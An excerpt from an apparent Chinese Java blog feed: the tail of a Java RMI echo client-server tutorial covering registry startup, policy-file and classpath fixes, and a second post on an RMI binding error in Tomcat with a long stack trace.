<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.rmi.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.rmi.registry.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">public</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">class</span> EchoClient {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">static</span> <span style="color: blue">void</span> main(String [] args) {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.setSecurityManager(<span style="color: blue">new</span> RMISecurityManager());</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">try</span> {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Echo t = (Echo)Naming.lookup(<span style="color: maroon">"EchoServer"</span>);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">for</span> (<span style="color: blue">int</span> i = 0; i &lt; 10; i++) {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(t.echo(String.valueOf(i)));</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <span style="color: blue">catch</span> (Exception e) {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">}</span></p>
<h3 style="margin: 12pt 0in 3pt">5<span style="font-family: 宋体">、运行</span></h3>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">编码的工作就只有这些，现在可以依次启动</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">（启动</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">时可以附加一个端口，一般使用默认的端口</span><span style="font-size: 11pt; font-family: 'Courier New'">1099</span><span style="font-size: 11pt; font-family: 宋体">即可，这是默认的</span><span style="font-size: 11pt; font-family: 'Courier New'">Naming Service</span><span style="font-size: 11pt; font-family: 宋体">运行端口）、</span><span style="font-size: 11pt; font-family: 'Courier New'">EchoServer</span><span style="font-size: 11pt; font-family: 宋体">、</span><span style="font-size: 11pt; font-family: 'Courier New'">EchoClient</span><span style="font-size: 11pt; font-family: 宋体">了。但是，虽然有些</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">的资料没有提到，但你运行时不可避免会遇到如下两个错误：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 'Courier New'">1</span><span style="font-size: 11pt; font-family: 宋体">）</span><span style="font-size: 11pt; font-family: 'Courier New'">java.security.AccessControlException: access denied (java.net.SocketPermission 127.0.0.1:1099 connect,resolve)</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">原因很简单，</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI Server/Client</span><span style="font-size: 11pt; font-family: 宋体">程序试图通过</span><span style="font-size: 11pt; font-family: 'Courier New'">Socket</span><span style="font-size: 11pt; font-family: 宋体">连接访问本机的</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">服务（即</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">的</span><span style="font-size: 11pt; font-family: 'Courier New'">Naming Service</span><span style="font-size: 11pt; font-family: 宋体">，其运行的默认端口是</span><span style="font-size: 11pt; font-family: 'Courier New'">1099</span><span style="font-size: 11pt; font-family: 宋体">）。要解决这个问题，可以在运行</span><span style="font-size: 11pt; font-family: 'Courier New'">Server/Client</span><span style="font-size: 11pt; font-family: 宋体">时指定一个</span><span style="font-size: 11pt; font-family: 'Courier New'">Policy</span><span style="font-size: 11pt; font-family: 宋体">文件（关于</span><span style="font-size: 11pt; font-family: 'Courier New'">Policy</span><span style="font-size: 11pt; font-family: 宋体">的更多信息，见参考</span><span style="font-size: 11pt; font-family: 'Courier New'">2</span><span style="font-size: 11pt; font-family: 宋体">），如下：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">java -Djava.security.policy=demo/rmi/policyfile.txt demo.rmi.EchoServer</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 'Courier New'">Policy</span><span style="font-size: 11pt; font-family: 宋体">文件的内容为：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">grant{</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; permission java.net.SocketPermission <span style="color: maroon">"localhost:1099"</span>, <span style="color: maroon">"connect, resolve"</span>;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">};</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">即允许访问本机的</span><span style="font-size: 11pt; font-family: 'Courier New'">1099</span><span style="font-size: 11pt; font-family: 宋体">端口。</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">或者干脆来个彻底开放：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">grant {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; permission java.security.AllPermission <span style="color: maroon">""</span>, <span style="color: maroon">""</span>;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">};</span></p>
<p style="margin: 0in 0in 0pt"><font size="3"><span style="font-family: 'Courier New'">2</span><span style="font-family: 宋体">）</span></font><span style="font-size: 10pt; font-family: 'Courier New'">java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.lang.ClassNotFoundException: demo.rmi.EchoServer_Stub</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">如果你凑巧用启动</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">的终端窗口启动了</span><span style="font-size: 11pt; font-family: 'Courier New'">EchoServer</span><span style="font-size: 11pt; font-family: 宋体">，那么你很走运，你看不到上面的错误，但如果你不是在看完这篇文章后就再也用不到</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">，那么，这个错误在那里等着你，</span><span style="font-size: 11pt; font-family: 'Courier New'">:)</span><span style="font-size: 11pt; font-family: 宋体">。</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">错误很明显，</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">找不到与</span><span style="font-size: 11pt; font-family: 'Courier New'">EchoServer</span><span style="font-size: 11pt; font-family: 宋体">放在同一目录下的</span><span style="font-size: 11pt; font-family: 'Courier New'">EchoServer_Stub</span><span style="font-size: 11pt; font-family: 宋体">，因为</span><span style="font-size: 11pt; font-family: 'Courier New'">package</span><span style="font-size: 11pt; font-family: 宋体">所在</span><span style="font-size: 11pt; font-family: 'Courier New'">demo.rmi</span><span style="font-size: 11pt; font-family: 宋体">目录的上级目录不在</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">的</span><span style="font-size: 11pt; font-family: 'Courier New'">classpath</span><span style="font-size: 11pt; font-family: 宋体">中，这个问题有两种解决方案：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 'Courier New'">a</span><span style="font-size: 11pt; font-family: 宋体">）在启动</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">前先调整一下</span><span style="font-size: 11pt; font-family: 'Courier New'">CLASSPATH</span><span style="font-size: 11pt; font-family: 宋体">环境变量，以目录</span><span style="font-size: 11pt; font-family: 'Courier New'">E:"</span><span style="font-size: 11pt; font-family: 宋体">为例，执行：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">set CLASSPATH=%CLASSPATH%;E:"</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 'Courier New'">b</span><span style="font-size: 11pt; font-family: 宋体">）修改</span><span style="font-size: 11pt; font-family: 'Courier New'">code</span><span style="font-size: 11pt; font-family: 宋体">，在</span><span style="font-size: 11pt; font-family: 'Courier New'">EchoServer</span><span style="font-size: 11pt; font-family: 宋体">中通过如下代码：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">Registry r = LocateRegistry.createRegistry(8111);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">r.rebind(<span style="color: maroon">"EchoServer"</span>, es);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">在程序内部创建一个</span><span style="font-size: 11pt; font-family: 'Courier New'">LocateRegistry</span><span style="font-size: 11pt; font-family: 宋体">，并将自身注册到该</span><span style="font-size: 11pt; font-family: 'Courier New'">LocateRegistry</span><span style="font-size: 11pt; font-family: 宋体">，其中的数值</span><span style="font-size: 11pt; font-family: 'Courier New'">8111</span><span style="font-size: 11pt; font-family: 宋体">表示</span><span style="font-size: 11pt; font-family: 'Courier New'">LocateRegistry</span><span style="font-size: 11pt; font-family: 宋体">运行的端口。</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">同样，对于客户程序，也需要作相应的调整：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">Registry r = LocateRegistry.getRegistry(<span style="color: maroon">"localhost"</span>, 8111);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">Echo e = (Echo)r.lookup(<span style="color: maroon">"EchoServer"</span>);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">而不是像上面例子中一样访问</span><span style="font-size: 11pt; font-family: 'Courier New'">Naming</span><span style="font-size: 11pt; font-family: 宋体">类的</span><span style="font-size: 11pt; font-family: 'Courier New'">static</span><span style="font-size: 11pt; font-family: 宋体">方法来访问默认的</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">服务。</span></p>
<h2 style="margin: 12pt 0in 3pt"><span style="font-family: 宋体"><em>参考：</em></span></h2>
<p style="margin: 0in 0in 0pt 21.75pt; text-indent: -21.75pt"><span style="font-size: 11pt; font-family: 'Courier New'">1.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 'Courier New'">Java RMI Tutorial, <a href="http://www.ccs.neu.edu/home/kenb/com3337/rmi_tut.html">http://www.ccs.neu.edu/home/kenb/com3337/rmi_tut.html</a></span></p>
<p style="margin: 0in 0in 0pt 21.75pt; text-indent: -21.75pt"><span style="font-size: 11pt; font-family: 'Courier New'">2.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 'Courier New'">Policy Tool - Policy File Creation and Management Tool. <a href="http://java.sun.com/j2se/1.4.2/docs/tooldocs/windows/policytool.html">http://java.sun.com/j2se/1.4.2/docs/tooldocs/windows/policytool.html</a></span></p>
<span style="font-family: 'Courier New'"><font size="3">3.</font><span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 'Courier New'">Java RMI</span><span style="font-size: 11pt; font-family: 宋体">入门实战，</span><span style="font-size: 11pt; font-family: 'Courier New'"><a href="http://www.huihoo.com/java/rmi/index.html">http://www.huihoo.com/java/rmi/index.html</a></span><br />
</font>
<img src ="http://www.blogjava.net/zqli/aggbug/185421.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-03-11 16:13 <a href="http://www.blogjava.net/zqli/archive/2008/03/11/185421.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]在TOMCAT中使用RMI服务的常见问题 </title><link>http://www.blogjava.net/zqli/archive/2008/03/11/185411.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Tue, 11 Mar 2008 07:50:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/03/11/185411.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/185411.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/03/11/185411.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/185411.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/185411.html</trackback:ping><description><![CDATA[<div class="postbody">近日因项目临近尾声，开始启动工程化的工作。但是才刚刚开始就遇到个不小的问题。我们的发布是将项目连同TOMCAT一起打包，而我们的项目中使用了RMI的通信，在启动项目时会建立一个RMI的server，这样问题就来了。当我们将项目安装在带有空格的目录中（如C:\Program Files\...）时，在启动TOMCAT时即会报错，报错的信息大致如下(其中隐去了部分公司相关代码)：<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: rgb(0,0,0)">java.io.IOException:&nbsp;Cannot&nbsp;bind&nbsp;to&nbsp;URL&nbsp;[jmx]:&nbsp;javax.naming.CommunicationException:&nbsp;Failed&nbsp;to&nbsp;retrieve&nbsp;stub&nbsp;from&nbsp;server&nbsp;</span><span style="color: rgb(0,0,0)">127.0</span><span style="color: rgb(0,0,0)">.</span><span style="color: rgb(0,0,0)">0.1</span><span style="color: rgb(0,0,0)">:</span><span style="color: rgb(0,0,0)">1099</span><span style="color: rgb(0,0,0)">&nbsp;[Root&nbsp;exception&nbsp;is&nbsp;java.net.MalformedURLException:&nbsp;no&nbsp;protocol:&nbsp;Files\<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />]<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.management.remote.rmi.RMIConnectorServer.newIOException(RMIConnectorServer.java:</span><span style="color: rgb(0,0,0)">814</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.management.remote.rmi.RMIConnectorServer.start(RMIConnectorServer.java:</span><span style="color: rgb(0,0,0)">431</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><br />
javax.servlet.GenericServlet.init(GenericServlet.java:</span><span style="color: rgb(0,0,0)">211</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardWrapper.loadServlet(StandardWrapper.java:</span><span style="color: rgb(0,0,0)">1029</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardWrapper.load(StandardWrapper.java:</span><span style="color: rgb(0,0,0)">862</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardContext.loadOnStartup(StandardContext.java:</span><span style="color: rgb(0,0,0)">4013</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardContext.start(StandardContext.java:</span><span style="color: rgb(0,0,0)">4357</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:</span><span style="color: rgb(0,0,0)">823</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:</span><span style="color: rgb(0,0,0)">807</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHost.addChild(StandardHost.java:</span><span style="color: rgb(0,0,0)">595</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHostDeployer.addChild(StandardHostDeployer.java:</span><span style="color: rgb(0,0,0)">903</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke0(Native&nbsp;Method)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:</span><span style="color: rgb(0,0,0)">39</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:</span><span style="color: rgb(0,0,0)">25</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.reflect.Method.invoke(Method.java:</span><span style="color: rgb(0,0,0)">585</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.commons.beanutils.MethodUtils.invokeMethod(MethodUtils.java:</span><span style="color: rgb(0,0,0)">216</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.commons.digester.SetNextRule.end(SetNextRule.java:</span><span style="color: rgb(0,0,0)">256</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.commons.digester.Rule.end(Rule.java:</span><span style="color: rgb(0,0,0)">276</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.commons.digester.Digester.endElement(Digester.java:</span><span style="color: rgb(0,0,0)">1058</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.util.CatalinaDigester.endElement(CatalinaDigester.java:</span><span style="color: rgb(0,0,0)">76</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanEndElement(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.parsers.XML11Configuration.parse(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.parsers.XML11Configuration.parse(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.parsers.XMLParser.parse(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown&nbsp;Source)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.commons.digester.Digester.parse(Digester.java:</span><span style="color: rgb(0,0,0)">1567</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHostDeployer.install(StandardHostDeployer.java:</span><span style="color: rgb(0,0,0)">488</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHost.install(StandardHost.java:</span><span style="color: rgb(0,0,0)">863</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.HostConfig.deployDescriptors(HostConfig.java:</span><span style="color: rgb(0,0,0)">483</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.HostConfig.deployApps(HostConfig.java:</span><span style="color: rgb(0,0,0)">427</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.HostConfig.start(HostConfig.java:</span><span style="color: rgb(0,0,0)">983</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.HostConfig.lifecycleEvent(HostConfig.java:</span><span style="color: rgb(0,0,0)">349</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:</span><span style="color: rgb(0,0,0)">119</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.start(ContainerBase.java:</span><span style="color: rgb(0,0,0)">1091</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHost.start(StandardHost.java:</span><span style="color: rgb(0,0,0)">789</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.start(ContainerBase.java:</span><span style="color: rgb(0,0,0)">1083</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardEngine.start(StandardEngine.java:</span><span style="color: rgb(0,0,0)">478</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardService.start(StandardService.java:</span><span style="color: rgb(0,0,0)">480</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardServer.start(StandardServer.java:</span><span style="color: rgb(0,0,0)">2313</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.Catalina.start(Catalina.java:</span><span style="color: rgb(0,0,0)">556</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke0(Native&nbsp;Method)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:</span><span style="color: rgb(0,0,0)">39</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:</span><span style="color: rgb(0,0,0)">25</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.reflect.Method.invoke(Method.java:</span><span style="color: rgb(0,0,0)">585</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:</span><span style="color: rgb(0,0,0)">287</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:</span><span style="color: rgb(0,0,0)">425</span><span style="color: rgb(0,0,0)">)<br />
Caused&nbsp;by:&nbsp;javax.naming.CommunicationException:&nbsp;Failed&nbsp;to&nbsp;retrieve&nbsp;stub&nbsp;from&nbsp;server&nbsp;</span><span style="color: rgb(0,0,0)">127.0</span><span style="color: rgb(0,0,0)">.</span><span style="color: rgb(0,0,0)">0.1</span><span style="color: rgb(0,0,0)">:</span><span style="color: rgb(0,0,0)">1099</span><span style="color: rgb(0,0,0)">&nbsp;[Root&nbsp;exception&nbsp;is&nbsp;java.net.MalformedURLException:&nbsp;no&nbsp;protocol:&nbsp;Files\<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />]<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.jnp.interfaces.NamingContext.getServer(NamingContext.java:</span><span style="color: rgb(0,0,0)">161</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.jnp.interfaces.NamingContext.checkRef(NamingContext.java:</span><span style="color: rgb(0,0,0)">871</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.jnp.interfaces.NamingContext.bind(NamingContext.java:</span><span style="color: rgb(0,0,0)">377</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.jnp.interfaces.NamingContext.bind(NamingContext.java:</span><span style="color: rgb(0,0,0)">370</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.naming.InitialContext.bind(InitialContext.java:</span><span style="color: rgb(0,0,0)">359</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.management.remote.rmi.RMIConnectorServer.bind(RMIConnectorServer.java:</span><span style="color: rgb(0,0,0)">635</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.management.remote.rmi.RMIConnectorServer.start(RMIConnectorServer.java:</span><span style="color: rgb(0,0,0)">427</span><span style="color: rgb(0,0,0)">)<br />
